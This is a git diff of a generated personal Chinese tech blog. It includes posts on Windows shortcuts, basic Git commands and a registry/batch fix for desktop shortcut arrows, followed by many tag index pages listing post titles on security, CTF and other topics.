    • win+I 打开设置

    • Win+数字键:打开任务栏上第n个程序

    • Alt+Tab:快速切换窗口

    ]]>
    + + + + + blog + + + + + + + Win10 + + + +
    + + + + + Git + + /2020/10/24/git/ + + 1.git clone

    将远程仓库克隆到本地,包括此仓库的版本变化信息。

    不需要进行git init操作

    方法:https或SSH

    2.git pull

    拉取远程更新到本地仓库,相当于从远程仓库或许最新版,然后与本地的分支合并。

    git pull = git fetch + git merge

    ]]>
    + + + + + blog + + + + + + + Desktop + + Git + + GitHub + + + +
    + + + + + 解决Win10桌面图标小箭头问题 + + /2020/10/21/error/ + + 桌面的图标左下角总是有个小箭头,看着烦,想去掉,用网上的方法,删去了几个注册表的值。

    果然,注册表还是不能随便删的,结果任务栏的程序却无法正常打开。

    解决方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    方法一:
    win+R,输入regedit,分别在
    HKEY_CLASSES_ROOT\piffile
    HKEY_CLASSES_ROOT\InternetShortcut
    HKEY_CLASSES_ROOT\lnkfile
    中新建bai→字符串值,命名为duIsShortcut
    方法二:
    taskkill /f /im explorer.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "C:\Windows\system32\imageres.dll,154" /t reg_sz /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "C:\Windows\system32\imageres.dll,154" /t reg_sz /f
    reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /t reg_sz /f
    reg add "HEKY_CLASSES_ROOT\piffile" /v IsShortcut /t reg_sz /f
    start explorer
    保存为.bat格式双击运行。

    去除桌面图标小箭头:

    1
    2
    3
    4
    5
    6
    7
    8
    如果还需要除去小箭头用下面的命令,用这个方法就可以避免错误了
    新建一个文本文件,粘贴后另存为.bat文件,然后以管理员身份打开
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
    taskkill /f /im explorer.exe
    attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db"
    del "%userprofile%\AppData\Local\iconcache.db" /f /q
    start explorer
    pause

    温馨提示:注册表很重要,不要随便删除哦!

    2022/5/22 更新

    最近更新了windows11系统,小箭头又出来了,百度上的方法都不管用,最后靠微软官方解决的。方法如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    1.右键“开始”菜单,找到“运行”,输入命令 regedit ,打开“注册表编辑器”

    2.在“注册表编辑器”左侧窗口,按照以下路径找到对应项

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons

    如果在 Explorer 下面没有 Shell Icons 这一项,可以直接在 Explorer 项上点击鼠标右键,选择“新建”→“项”,项的名字定为 Shell Icons 。

    3.选中“Shell Icons”,在右侧窗口中点击鼠标右键,选择“新建”→“字符串值”,将“字符串”的名字设置为“29”。

    4.双击新建的字符串“29”,在“数值数据”中输入“C:\WINDOWS\system32\imageres.dll,197”。

    如果你不确定系统安装在哪个硬盘分区,也可以输入“%systemroot%\system32\imageres.dll,197”,以 %systemroot% 的变量路径自动定位系统位置。

    5.关闭注册表编辑器,重新启动电脑即可
    ]]>
    + + + + + blog + + + + + + + Win10 + + Desktop + + + +
    + + + + +
    diff --git a/tags/CTF/index.html b/tags/CTF/index.html new file mode 100644 index 000000000..76140bea4 --- /dev/null +++ b/tags/CTF/index.html @@ -0,0 +1,199 @@ +标签: CTF | h4m5t's Blog + + + + + + + + + + +
    标签 - CTF
    2021
    ISCC练武题
    ISCC练武题
    春秋杯新年欢乐赛
    春秋杯新年欢乐赛
    攻防世界
    攻防世界
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/ChatGPT/index.html b/tags/ChatGPT/index.html new file mode 100644 index 000000000..39f2dd438 --- /dev/null +++ b/tags/ChatGPT/index.html @@ -0,0 +1,199 @@ +标签: ChatGPT | h4m5t's Blog + + + + + + + + + + +
    标签 - ChatGPT
    2023
    ChatGPT 接入微信实践
    ChatGPT 接入微信实践
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Chrome/index.html b/tags/Chrome/index.html new file mode 100644 index 000000000..07ec0873e --- /dev/null +++ b/tags/Chrome/index.html @@ -0,0 +1,199 @@ +标签: Chrome | h4m5t's Blog + + + + + + + + + + +
    标签 - Chrome
    2020
    Chrome快捷键
    Chrome快捷键
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Desktop/index.html b/tags/Desktop/index.html new file mode 100644 index 000000000..cc8276a41 --- /dev/null +++ b/tags/Desktop/index.html @@ -0,0 +1,199 @@ +标签: Desktop | h4m5t's Blog + + + + + + + + + + +
    标签 - Desktop
    2020
    Git
    Git
    解决Win10桌面图标小箭头问题
    解决Win10桌面图标小箭头问题
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Git/index.html b/tags/Git/index.html new file mode 100644 index 000000000..2e4e04a02 --- /dev/null +++ b/tags/Git/index.html @@ -0,0 +1,199 @@ +标签: Git | h4m5t's Blog + + + + + + + + + + +
    标签 - Git
    2020
    Git
    Git
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/GitHub/index.html b/tags/GitHub/index.html new file mode 100644 index 000000000..93968851e --- /dev/null +++ b/tags/GitHub/index.html @@ -0,0 +1,199 @@ +标签: GitHub | h4m5t's Blog + + + + + + + + + + +
    标签 - GitHub
    2020
    Git
    Git
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Github/index.html b/tags/Github/index.html new file mode 100644 index 000000000..5f38b3bcf --- /dev/null +++ b/tags/Github/index.html @@ -0,0 +1,199 @@ +标签: Github | h4m5t's Blog + + + + + + + + + + +
    标签 - Github
    2022
    博客迁移
    博客迁移
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/HTB/index.html b/tags/HTB/index.html new file mode 100644 index 000000000..423f2a24d --- /dev/null +++ b/tags/HTB/index.html @@ -0,0 +1,199 @@ +标签: HTB | h4m5t's Blog + + + + + + + + + + +
    标签 - HTB
    2024
    HTB_Help
    HTB_Help
    HTB_Bizness
    HTB_Bizness
    HTB_MetaTwo
    HTB_MetaTwo
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Incident-Review/index.html b/tags/Incident-Review/index.html new file mode 100644 index 000000000..cf0fe5bab --- /dev/null +++ b/tags/Incident-Review/index.html @@ -0,0 +1,199 @@ +标签: Incident Review | h4m5t's Blog + + + + + + + + + + +
    标签 - Incident Review
    2024
    Log4jShell事件
    Log4jShell事件
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Other/index.html b/tags/Other/index.html new file mode 100644 index 000000000..e5b91f7bd --- /dev/null +++ b/tags/Other/index.html @@ -0,0 +1,199 @@ +标签: Other | h4m5t's Blog + + + + + + + + + + +
    标签 - Other
    2021
    Shell学习记录
    Shell学习记录
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/SIEM/index.html b/tags/SIEM/index.html new file mode 100644 index 000000000..c826fc571 --- /dev/null +++ b/tags/SIEM/index.html @@ -0,0 +1,199 @@ +标签: SIEM | h4m5t's Blog + + + + + + + + + + +
    标签 - SIEM
    2023
    SOC和SIEM建设
    SOC和SIEM建设
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/SOC/index.html b/tags/SOC/index.html new file mode 100644 index 000000000..38bc3222c --- /dev/null +++ b/tags/SOC/index.html @@ -0,0 +1,199 @@ +标签: SOC | h4m5t's Blog + + + + + + + + + + +
    标签 - SOC
    2023
    SOC和SIEM建设
    SOC和SIEM建设
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/WAF/index.html b/tags/WAF/index.html new file mode 100644 index 000000000..aa025d41c --- /dev/null +++ b/tags/WAF/index.html @@ -0,0 +1,199 @@ +标签: WAF | h4m5t's Blog + + + + + + + + + + +
    标签 - WAF
    2023
    WAF
    WAF
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/Win10/index.html b/tags/Win10/index.html new file mode 100644 index 000000000..10d8cd314 --- /dev/null +++ b/tags/Win10/index.html @@ -0,0 +1,199 @@ +标签: Win10 | h4m5t's Blog + + + + + + + + + + +
    标签 - Win10
    2020
    Windows快捷键
    Windows快捷键
    解决Win10桌面图标小箭头问题
    解决Win10桌面图标小箭头问题
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/blog/index.html b/tags/blog/index.html new file mode 100644 index 000000000..0309086ba --- /dev/null +++ b/tags/blog/index.html @@ -0,0 +1,199 @@ +标签: blog | h4m5t's Blog + + + + + + + + + + +
    标签 - blog
    2023
    ChatGPT 接入微信实践
    ChatGPT 接入微信实践
    2022
    hexo博客部署
    hexo博客部署
    博客迁移
    博客迁移
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/hack/index.html b/tags/hack/index.html new file mode 100644 index 000000000..b05e41e48 --- /dev/null +++ b/tags/hack/index.html @@ -0,0 +1,199 @@ +标签: hack | h4m5t's Blog + + + + + + + + + + +
    标签 - hack
    2020
    记第一次挖矿
    记第一次挖矿
    黑客术语解释
    黑客术语解释
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 000000000..8411afeb1 --- /dev/null +++ b/tags/index.html @@ -0,0 +1,201 @@ +tags | h4m5t's Blog + + + + + + + + + + + + +
    \ No newline at end of file diff --git a/tags/leetcode/index.html b/tags/leetcode/index.html new file mode 100644 index 000000000..8da38db37 --- /dev/null +++ b/tags/leetcode/index.html @@ -0,0 +1,199 @@ +标签: leetcode | h4m5t's Blog + + + + + + + + + + +
    标签 - leetcode
    2021
    leetcode15 - 3sum
    leetcode15 - 3sum
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/linux/index.html b/tags/linux/index.html new file mode 100644 index 000000000..980f8086f --- /dev/null +++ b/tags/linux/index.html @@ -0,0 +1,199 @@ +标签: linux | h4m5t's Blog + + + + + + + + + + +
    标签 - linux
    2021
    常用的linux命令
    常用的linux命令
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/python/index.html b/tags/python/index.html new file mode 100644 index 000000000..96341e8c0 --- /dev/null +++ b/tags/python/index.html @@ -0,0 +1,199 @@ +标签: python | h4m5t's Blog + + + + + + + + + + +
    标签 - python
    2021
    PAT-1010
    PAT-1010
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/tags/web/index.html b/tags/web/index.html new file mode 100644 index 000000000..86f1684fe --- /dev/null +++ b/tags/web/index.html @@ -0,0 +1,199 @@ +标签: web | h4m5t's Blog + + + + + + + + + + +
    \ No newline at end of file diff --git a/tags/web/page/2/index.html b/tags/web/page/2/index.html new file mode 100644 index 000000000..6ba654e7f --- /dev/null +++ b/tags/web/page/2/index.html @@ -0,0 +1,199 @@ +标签: web | h4m5t's Blog + + + + + + + + + + +
    标签 - web
    2021
    web安全学习路线
    web安全学习路线
    记录前端学习--HTML
    记录前端学习--HTML
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\344\272\221\345\256\211\345\205\250/index.html" "b/tags/\344\272\221\345\256\211\345\205\250/index.html" new file mode 100644 index 000000000..ee5abee50 --- /dev/null +++ "b/tags/\344\272\221\345\256\211\345\205\250/index.html" @@ -0,0 +1,199 @@ +标签: 云安全 | h4m5t's Blog + + + + + + + + + + +
    标签 - 云安全
    2020
    云安全
    云安全
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\344\272\221\350\256\241\347\256\227/index.html" "b/tags/\344\272\221\350\256\241\347\256\227/index.html" new file mode 100644 index 000000000..e1eee7472 --- /dev/null +++ "b/tags/\344\272\221\350\256\241\347\256\227/index.html" @@ -0,0 +1,199 @@ +标签: 云计算 | h4m5t's Blog + + + + + + + + + + +
    标签 - 云计算
    2020
    云安全
    云安全
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\344\277\241\346\201\257\345\256\211\345\205\250/index.html" "b/tags/\344\277\241\346\201\257\345\256\211\345\205\250/index.html" new file mode 100644 index 000000000..99116395a --- /dev/null +++ "b/tags/\344\277\241\346\201\257\345\256\211\345\205\250/index.html" @@ -0,0 +1,199 @@ +标签: 信息安全 | h4m5t's Blog + + + + + + + + + + +
    标签 - 信息安全
    2020
    信息安全
    信息安全
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\345\211\215\347\253\257/index.html" "b/tags/\345\211\215\347\253\257/index.html" new file mode 100644 index 000000000..5c4183bfd --- /dev/null +++ "b/tags/\345\211\215\347\253\257/index.html" @@ -0,0 +1,199 @@ +标签: 前端 | h4m5t's Blog + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\345\244\247\346\225\260\346\215\256/index.html" "b/tags/\345\244\247\346\225\260\346\215\256/index.html" new file mode 100644 index 000000000..38a0fd3b2 --- /dev/null +++ "b/tags/\345\244\247\346\225\260\346\215\256/index.html" @@ -0,0 +1,199 @@ +标签: 大数据 | h4m5t's Blog + + + + + + + + + + +
    标签 - 大数据
    2020
    云安全
    云安全
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\345\256\211\345\205\250/index.html" "b/tags/\345\256\211\345\205\250/index.html" new file mode 100644 index 000000000..8ad884557 --- /dev/null +++ "b/tags/\345\256\211\345\205\250/index.html" @@ -0,0 +1,199 @@ +标签: 安全 | h4m5t's Blog + + + + + + + + + + +
    \ No newline at end of file diff --git "a/tags/\345\257\206\347\240\201\345\255\246/index.html" "b/tags/\345\257\206\347\240\201\345\255\246/index.html" new file mode 100644 index 000000000..c4d916b8d --- /dev/null +++ "b/tags/\345\257\206\347\240\201\345\255\246/index.html" @@ -0,0 +1,199 @@ +标签: 密码学 | h4m5t's Blog + + + + + + + + + + +
    标签 - 密码学
    2022
    密码学笔记
    密码学笔记
    2021
    初等数论学习
    初等数论学习
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\346\225\260\350\256\272/index.html" "b/tags/\346\225\260\350\256\272/index.html" new file mode 100644 index 000000000..45a499b12 --- /dev/null +++ "b/tags/\346\225\260\350\256\272/index.html" @@ -0,0 +1,199 @@ +标签: 数论 | h4m5t's Blog + + + + + + + + + + +
    标签 - 数论
    2021
    初等数论学习
    初等数论学习
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\346\270\227\351\200\217/index.html" "b/tags/\346\270\227\351\200\217/index.html" new file mode 100644 index 000000000..a19968646 --- /dev/null +++ "b/tags/\346\270\227\351\200\217/index.html" @@ -0,0 +1,199 @@ +标签: 渗透 | h4m5t's Blog + + + + + + + + + + +
    \ No newline at end of file diff --git "a/tags/\346\274\217\346\264\236/index.html" "b/tags/\346\274\217\346\264\236/index.html" new file mode 100644 index 000000000..1d9ac06a8 --- /dev/null +++ "b/tags/\346\274\217\346\264\236/index.html" @@ -0,0 +1,199 @@ +标签: 漏洞 | h4m5t's Blog + + + + + + + + + + +
    标签 - 漏洞
    2023
    xray之以CVE-2023-42442为例POC编写
    xray之以CVE-2023-42442为例POC编写
    2021
    渗透Metasploitable2
    渗透Metasploitable2
    浅谈XSS漏洞
    浅谈XSS漏洞
    OWASP TOP10
    OWASP TOP10
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\347\256\227\346\263\225/index.html" "b/tags/\347\256\227\346\263\225/index.html" new file mode 100644 index 000000000..f379a4509 --- /dev/null +++ "b/tags/\347\256\227\346\263\225/index.html" @@ -0,0 +1,199 @@ +标签: 算法 | h4m5t's Blog + + + + + + + + + + +
    标签 - 算法
    2021
    leetcode15 - 3sum
    leetcode15 - 3sum
    PAT-1010
    PAT-1010
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/tags/\351\235\242\350\257\225/index.html" "b/tags/\351\235\242\350\257\225/index.html" new file mode 100644 index 000000000..684a68788 --- /dev/null +++ "b/tags/\351\235\242\350\257\225/index.html" @@ -0,0 +1,199 @@ +标签: 面试 | h4m5t's Blog + + + + + + + + + + +
    \ No newline at end of file